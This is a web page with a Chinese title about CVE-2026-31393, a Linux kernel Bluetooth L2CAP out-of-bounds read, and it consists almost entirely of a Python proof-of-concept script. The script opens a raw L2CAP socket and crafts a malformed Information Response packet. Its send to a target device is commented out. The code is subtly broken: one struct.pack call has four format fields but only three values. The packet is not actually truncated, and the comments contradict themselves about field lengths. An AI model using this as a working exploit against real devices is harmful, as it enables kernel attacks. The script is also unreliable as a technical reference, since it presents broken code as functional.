CVE-2026-31393: Linux内核蓝牙L2CAP越界读取漏洞

# PoC for CVE-2026-31393: Bluetooth L2CAP Out-of-Bounds Read # This script demonstrates how to craft a malformed L2CAP_INFO_RSP packet. # Note: Requires a Bluetooth adapter and raw socket capabilities. import struct import socket # Bluetooth constants BDADDR_ANY = "\x00\x00\x00\x00\x00\x00" # Create a raw Bluetooth L2CAP socket # Note: This usually requires root privileges (CAP_NET_RAW) try: sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) sock.bind((BDADDR_ANY, 0)) except Exception as e: print(f"Failed to create socket: {e}") exit(1) # L2CAP Signaling Command Code for Information Response L2CAP_INFO_RSP = 0x03 # Malicious payload construction # The vulnerability is triggered when cmd_len is exactly 4 (header only), # but the handler expects data based on the type. # We construct a packet with: # Code (1 byte) | Identifier (1 byte) | Length (2 bytes) | Type (2 bytes) | Result (2 bytes) # Total length should be 4 bytes for the header, but the 'Length' field in L2CAP # indicates the length of the payload *following* the length field itself usually, # or total length depending on context. In L2CAP signaling: # Length = 4 (Type + Result) # Type = L2CAP_IT_FEAT_MASK (0x0002) # Result = L2CAP_IR_SUCCESS (0x0000) # If we send a packet where the payload is truncated, we trigger the OOB read. # Construct the signaling packet code = L2CAP_INFO_RSP id = 0x01 # Transaction ID length = 4 # Length of Type + Result fields (4 bytes) type_ = 0x0002 # L2CAP_IT_FEAT_MASK result = 0x0000 # Success # Pack the header and the partial payload # The vulnerability occurs if the skb->len is just enough for the header, # but the code tries to read data. packet = struct.pack("<BBHH", code, id, length) + struct.pack("<HH", type_, result) # To simulate the "truncated" condition described (cmd_len covers header only), # one might need to manipulate the socket buffer size or packet fragmentation, # which is complex in user-space. This is a representation of the packet structure. print(f"Sending malformed L2CAP Info Response packet...") print(f"Target: Local Loopback (for testing) or Remote BD_ADDR") # In a real scenario, send this to a target device. # sock.sendto(packet, (target_bdaddr, 1)) print("Packet content (hex):") print(packet.hex())